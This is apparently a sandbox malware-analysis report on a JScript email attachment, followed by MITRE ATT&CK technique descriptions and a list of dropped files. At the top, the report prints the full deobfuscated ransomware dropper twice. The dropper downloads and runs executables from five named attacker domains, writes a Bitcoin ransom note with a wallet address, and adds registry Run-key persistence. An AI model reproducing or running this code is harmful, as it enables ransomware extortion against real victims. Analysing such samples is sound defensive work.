fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%AppData%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%UserProfile%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c "+fn+".exe "+cq+fn+".php"+cq,0,1); ws.Run("%COMSPEC% /c notepad.exe "+cq+fn+".txt"+cq,0,0); var fp=fo.CreateTextFile(fn+".php",true);for(var i=0;i<1000;i++){fp.WriteLine(ad);};fp.Close(); ws.Run("%COMSPEC% /c DEL "+cq+fn+".php"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+fn+".exe"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+pd+cq,0,0); }; };"
937	eval ( x26 );	eval("var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad="1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN"; var bc="0.44780"; var ld=0; var cq=String.fromCharCode(34); var cs=String.fromCharCode(92); var ll=["xn--80adi0bdhdbmg.xn--p1ai","jpnovo.ru","lacampagnetropicana.com","cestasgabrasil.com.br","radostdetym.ru"]; var ws=WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%AppData%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+fn+".txt"+cq+" "+cq+"%UserProfile%"+cs+"Desktop"+cs+"DECRYPT.txt"+cq,0,0); ws.Run("%COMSPEC% /c "+fn+".exe "+cq+fn+".php"+cq,0,1); ws.Run("%COMSPEC% /c notepad.exe "+cq+fn+".txt"+cq,0,0); var fp=fo.CreateTextFile(fn+".php",true);for(var i=0;i<1000;i++){fp.WriteLine(ad);};fp.Close(); ws.Run("%COMSPEC% /c DEL "+cq+fn+".php"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+fn+".exe"+cq,0,0); ws.Run("%COMSPEC% /c DEL "+cq+pd+cq,0,0); }; };") ➔ 0

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Delivery_Notification_00000260791.doc.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\8NWLUJXY.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\9AYDDNVM.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\1DZ0H94T.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\CKUCPLE0.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\IBM86D31.htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\counter[3].htm

C:\Users\user\AppData\Local\Temp\a.exe

C:\Users\user\AppData\Local\Temp\a.php

C:\Users\user\AppData\Local\Temp\a.txt

C:\Users\user\AppData\Local\Temp\a1.exe

C:\Users\user\AppData\Local\Temp\a2.exe

C:\Users\user\AppData\Local\Temp\php4ts.dll

C:\Users\user\Desktop\DECRYPT.txt

Static File Info

General

File Icon

Windows Analysis Report
Delivery_Notification_00000260791.doc.js